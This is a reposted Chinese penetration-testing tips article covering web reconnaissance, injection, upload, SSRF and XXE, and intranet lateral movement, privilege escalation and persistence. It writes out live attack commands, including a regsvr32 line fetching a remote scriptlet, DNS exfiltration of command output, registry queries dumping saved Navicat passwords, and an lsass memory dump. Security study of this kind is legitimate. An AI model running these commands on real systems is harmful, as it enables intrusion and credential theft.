原文链接:(我直接粘贴过来没有图片)
https://xz.aliyun.com/t/9773
前言
有一段时间没有写文章了,也不知写什么,毕竟从攻击方换成防守方,乙方换到甲方,还有些许不适应。。。但还是决定把自己接触渗透所积累的东西也拿出分享,不管糟粕,还是大伙觉得我分享的有用(那阿鑫自然是很开心),希望能帮到还在学习路上的朋友,文章若有错误,请及时联系我指出,我也不想误导才学习的朋友。此外,本文为口嗨文,基本在说思路,没有实操。
web端
(1)信息收集
收集cms信息:
1.通过云溪,wapplayzer,fofa,以及github上各位表哥写的baner等插件脚本收集
2.网站后台,正页,power by "xxx",以及robots.txt
3.根据经验判断,比如网站的icon(joomla,dede),目录框架结构(wordpress,discuz!)这些有明显特征的
4.大框架类似,二次模改过来的,比如(onethink-->thinkphp)
5.报错关键字提取,去github找有没有相似源码以及类似函数,报错信息可以用google语法收集warning error not exist等等。
6.一些cms可以直接通过msf打
use exploit/unix/http/laravel_token_unserialize_exec //关于laravel RCE
use auxiliary/admin/cisco/cisco_asa_extrabacon //关于思科的设备,CVE-2016-6366
收集端口:
1.这么收集端口没什么好说,方法就那么几种
2.一些端口应该知道的,开了21,22等端口,ftp匿名访问必须尝试(如果匿名登陆成功无法下载文件,尝试加入--no-passive参数),ssh弱口令必须尝试一下(各类数据库都外联弱口令尝试一下),81,88,888常见的web端口,389是ldap的默认端口,内网里面可能为域控,445(有些站你怎么打都日不进去,开了445的公网配合msf17010扫一波),999(phpmyadmin),1234(可能为redis),6379,3389(guest,shift都尝试一下),6588(护卫神界面),70000到10000的基本上是java的服务,重点关注weblogic,jboss,shiro,fastjson。其他一些高端口,可能为宝塔,或者边缘业务的端口。
收集子域名:
1.收集的意义在于配合收集的cms和端口信息撕开口子
2.看看有没有域传送漏洞,有的话帮你找完
3.多去找找某些api,某些api也可以帮你找全(其所有相关资产)。
4.某些网站有sql注入,但是找不到后台,可能就在子域名,子域名可能还有phpmyadmin
目录扫描
1.拿到站先不要直接开扫,先把bp打开,自己点一下网站的功能,然后在target那一栏bp会帮我们爬出大体框架
2.如果ip被ban了,将线程调低,或者在找一个小众一点的扫描器,不行的话自己写一个,py,很快的。
3.尽量通过目录的结构得知为什么cms,有没有上传的编辑器(fck,eweb等,很多时候比如我们通过注入找到网站后台账号密码,成功进入后台,但是后台功能单一以至于拿不下shell,这个时候最好的方法就是去找新的资源,当我们发现一个漏洞很容易被这个漏洞束缚从而思维无法发散)
我们找到A服务器的后台:admin/adminlogin.asp(有账号密码但是拿不下)
这个时候不是一直想突破后台,而是发现新的资源admin/ewebeditor/admin_login.asp(从编辑器入手)
4.比如扫到了axgg.xml这个敏感文件,它确实存在却无法访问,比如
www.axgg.com/hdx/hxd/axgg.xml 我们无法访问,可以做一下尝试
www.axgg.com/hdx/.hxd/axgg.xml
www.axgg.com/hdx/;abcd/hxd/axgg.xml
www.axgg.com/hdx/abcd/../hxd/axgg.xml
5..git svn如果觉得还原的不全,可以去kali重新试试,多下几个工具
6.日志
其他信息收集
1.c段,旁站,fofa搜索icon,header。
2.phpinfo(收集绝对路径,真实ip,绕过xss的httponly($_SERVER[“HTTP_COOKIE”]),存在oci8推测数据库可能为oracle,),phpmyadmin,adminer,以及疑似的后门
(同行的马1.我们可以用profile=a看看能不能溢出2.f12里面搜索font,可能会出现密码)
3.同模版网站
4.护网的话,学校医院的学号和工号,可以根据“奖学金&&值班表” filetype等关键字搜索
5.扫到了401的界面,可以加入X-Custom-IP-Authorization: 127.0.0.1
6.如果在登录框处,我们可以查看其Js文件,测试密码不大可能泄露,但是说不定能找到其他组件,比如webservices,这个存在注入。
(2)sql注入
1.不论是前后台,如果可以上传图片,但是上传绕不过,可以考虑图片名改为注入payload,看看有没有二次注入
2.如果存在注入,好好利用bp,get/post切换,参数污染,分块,x-forward-for改为127.0.0.1,application/数据流也可以改,bp里面的一些非主流字符也可以删除掉,比如
以及垃圾数据
3.至于对抗waf,最重要的是要清楚waf的规则,拦截的参数,再来进一步绕过,具体可以参考我的上一篇文章。https://xz.aliyun.com/t/9268
如果读友们觉得写的还不错,我后面有时间一定把其余的漏洞以我目前的认知基础详细的讲一遍。
4.遇到一个cms存在盲注,数据出的很慢,我们可以自己本地搭建一个,查看账号密码放在哪个表单。
5.比如一个登录框,登陆的时候叫你选部门,可能账号密码处没有注入,但是你从人事部选择技术部这一步抓包,就会有注入。
6.比如用union或者报错打payload,但是没有数据回显,可以看看f12里面是不是有hidden属性
7.sqlserver的xpcmdshell写一句话用^转义失败,可以尝试certuili的hex写入
(3)逻辑漏洞
1.存在注入拿下了账号,但是admin的账号hash解不开,可以在后台尝试修改密码,看是否存在逻辑漏洞
2.关于爆破的后台验证码,可以更换为万能验证码(0000,8888我尝试均失败,不知哪儿听说的,哈哈哈哈),当然也可以设置空验证码,或者将验证码这个参数给删除掉。
3.注册账号的时候可以尝试admin空格空格空格空格空格空格,看看可不可以覆盖
(4)上传
1.条件竞争其实挺多的,tp写入session也可以想到条件竞争
2.二次渲染,不仅是要了解,而且要大环境复线。
3.bp里面的各类参数修改,已经说的很多了。
4.看看有没有.user.ini这个文件,有的话走大运
5.白名单,这类没有解析漏洞或者开发商本身的漏洞,就别想着绕过了。
(5)xss
1.XSS无非是打cookie,钓鱼,像更高端的操作比如最近的chrome,xmind等xss上线cs,但是在实际项目中是可遇不可求的,真正需要注意的还是xss一些payload的拓展以及打到了cookie怎么绕过httponly。其实钓鱼的话可以配合弱口令去后台看看能不能改一些模版,虽然现在各类客服的安全意识已经很高了,但是有些时候能不能拿下项目还真的指望他们。
(6)ssrf
1.ssrf出现的位置,其实burp抓包,不管是get的参数还是post的参数,我们都可以直接fuzzing,就比如post的数据,image=admin,我们image=http://vps:1234 都要不断尝试。不一定非要在网上说的那几个位置才能想到ssrf。
2.认清ssrf的作用,像ssrf->getshell真的太少了,都是配合ssrf收集信息打组合拳,就比如配合redis那shell,首先是对面可能存在redis,然后为授权。然后写东西的时候不出玄学问题,就行了。
3.ssrf最主要的几个功能是收集服务器的真实IP,探测内部文件,比如看看能不能通过gopher,file等协议读取东西,如果能探测web的端口,可以看看找一些get参数就能拿东西的漏洞,比如get型的sql注入
(7)xxe,csrf
1.首先xxe我们也可以先将我们的content-type改为我们的application/xml,不管他是application/data,application/json,都可以改成application/xml,然后看看response对比哈,如果有区别的话可以FUZZING一哈xxe的payload
2.关于csrf,其实csrf可以简单的理解借刀杀人,用当前目标的权限去做他能做的事情,如果此后台管理员能编辑模板插入脚本代码,那么我们就可以构造出POC去getshell,但是话又说回来,这2个洞我反正在项目中遇到是很少的。
内网
(1)信息收集
其实网上有很多讲内网信息收集,说了很多命令,但是都用的到吗?因为我们收集到不同的信息会对我们的渗透思路完全不同,内网不像web,你在工作组和在域环境打法是完全不同的,你在域环境找到域控和没找到域控是2回事。但是渗透的本质还是不断地收集信息然后横向。
首先应该收集的是我们当前控制机器的信息,杀软有哪些,你要是不提权的话可以不看补丁,是否在域环境,是否纯在IPC空连接,共享,机器上的一些txt,xlsx,一般在桌面
dir /b /s *.txt
wmic share get name,path,status 查看共享
wmic data file where "filename='test' and extension='jpg'" get caption
ps:如果没有找到桌面的位置,有些国外的机器或者修改过的项目
reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders" /s 通过注册表找到
是否存在tg,xshell,navicat等软件,这些都可以进一步搜集额外的东西
破解navicat
MySQL HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers
reg query HKEY_CURRENT_USERSOFTWAREPremiumSoftNavicatServers /s /v host
reg query HKEY_CURRENT_USERSOFTWAREPremiumSoftNavicatServers /s /v pwd
reg query HKEY_CURRENT_USERSOFTWAREPremiumSoftNavicatServers /s /v UserName
MariaDB HKEY_CURRENT_USERSoftwarePremiumSoftNavicatMARIADBServers
Microsoft SQL HKEY_CURRENT_USERSoftwarePremiumSoftNavicatMSSQLServers
Oracle HKEY_CURRENT_USERSoftwarePremiumSoftNavicatOraServers
PostgreSQL HKEY_CURRENT_USERSoftwarePremiumSoftNavicatPGServers
SQLite HKEY_CURRENTUSERSoftwarePremiumSoftNavicatSQLiteServers
本机的wifi密码(撞密码),本机浏览器的书签,保存的密码(这个很好破解,比如内网历史记录访问过一个192.168.7.15/admin.aspx这个网站,我们查看他的密码需要Pin,我们直接点进去这个网站,然后f12把hidden改成txt即可),cookie(因为有些要IP认证,所以用cookie),RDP的凭证,publicdocument这个位置,如果运气好或许Mimikatz可以破解出来,不过我们当我们不在域环境的时候可以查看连接的IP帮我们更好的定位其他机器的位置。本机的网络环境,c段的web资源,数据库位置,信任域(前提是我们是在域环境),等这类东西。
最后在是我们的密码,凭证。
(2)关于横向
其实横向的强弱在于我们第一步的信息收集,道理大家都知道,比如我们通过web打点拿下一台服务器,同学a通过navicat解出了sqlserver的账号密码,在看了一下c段的机器名或者开的端口,找到了数据库,然后在通过sqlserver的IPC空连接配合gpc泄露拿到了密码,虽然这个例子举得太过理想和拉跨,但是想告诉读者朋友们,我们一定要对信息收集这个概念在每一台我们能控制的服务器运用到极致,同学b进去抓密码,pth,ms17010(出了永恒之蓝,还有永恒冠军,永恒浪漫,就是原生py),或者找找web日一日,发现日求不动,然后渗透结束。虽然现在委派很火,但是我想说的委派基本上是大集团方便管理,其实我们平时遇到的普通域环境很少用的到,但是学有余力还是务必掌握!
(3)提权
说到提权,其实我们应当明白提权的这个机器对我们有进一步渗透的意义,才去提权,比如我在一个域环境,当前用户就是一个普通域用户,是一个普通的员工机器,但是我TM就想一个烂土豆提到system,然后抓密码,哎,就是玩儿,但是真没必要。什么时候需要提,比如我们在的机器为域机器,但是当前用户却是本地用户,这个时候我们可以一个烂土豆变成system,然后查看域用户,找域控。就是想告诉大家别没有思路的时候就提权,而是看我们提了权能给我们进一步带来什么,当我们渗透没有思路时,就回顾一下自己打点到目前的位置,是不是每一步的信息收集都收集好了。
(4)权限维持
这一步和提权是一样的,我们应该明白什么时候需要权限维持,不是打点进去,一个pth上了三四太机器,然后每一个做一个自启,或者直接注册表修改添加隐藏用户,又或者激活guest。我们应当审视一下这台机器,他有没有进一步利用的价值再去做权限维持,比如这是一台运维,或者IT的机器,怎么看,看这台机器的组,或者机器名,还有桌上的一些文件进行判别。我们做权限维持的目的是这个时间点没有收集到或者错过了收集到一些敏感的东西,所以我们权限维持等待时机,比如键盘记录,cmd命令记录,如果是linux的,我们可以ssh劫持。常用的权限维持技巧,自启动,利用acl添加普通用户的完全访问权限,利用DCSync在域内维持权限等方法。
(5)文件传输
网上也说了很多,我也再说说吧,出了常见的python,certuili,bitadmin,wget,curl,ftp等
js,hta,vbs等这类脚本也可用写入下载的内容
或者运用csc编译我们写好的dowoload.cs
也可以用wmic
wmic process call create "regsvr32 /s /n /u /i:http://xxxxx:1337/as.txt scrobj.dll"这样调用
(6)内网的一些小技巧
1.当某些软件正在运行或者权限不够我们看不了,我们可以copy到一个位置然后在type
2.如果某些环境出现中文名而且我们的c2工具因为字符不能识别无法正常渗透,可以考虑写入bat或者vbs
3.当我们mstsc连接出现问题时,我们可以mstsc /admin mstsc /console
4.当我们echo一个一个字符追加,但是换行了,可以这样
5.拿到shell,但是cmd没有回显
cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set =%i & cmd /c nslookup %_:~0,-1%. 6utb0b.dnslog.cn)&del temp
6.如若3389登不上,普通方法都检测了,试试net stop sharedaccess关闭筛选,如果想多用户登录,可以尝试使用rdpwrap这个软件。
7.echo 123 > axgg::$INDEX_ALLOCATION 创建文件夹,有什么用,mysql udf没有plugin的时候
删除:rd axgg::$INDEX_ALLOCATION
8.比如我们的命令被禁用或者匹配了其规则,其余思路自由发展
9.当我们遇到owa的时候,只要将HTTP协议版本修改成1.0,然后去掉http头里面的HOST参数,会返回服务器所在的内网IP,对OWA屡试不爽
此外,/owa/auth/trace.axd会暴露OWA版本和内网的代理IP信息
10.如果想降权的话可以用runas起一个进程
11.提供一个不要prodump抓lsass的方法
tasklist | findstr lsass.exe 查找lsass的pid号
powershell -c "rundll32 C:windowssystem32comsvcs.dll, MiniDump 592 D:wwwroothuodonglsass.dmp full"
(7)免杀,dll劫持,dll注入,委派,bypass uac
这些都是当我们基本打好了以后才能更好的吸收和掌握,网上也有很多师傅讲过,我自己基础差,就不限丑了。
至于web的,我上传了一些Poc在我的github,大家有兴趣可以看看
https://github.com/xinxin999/Exp-collect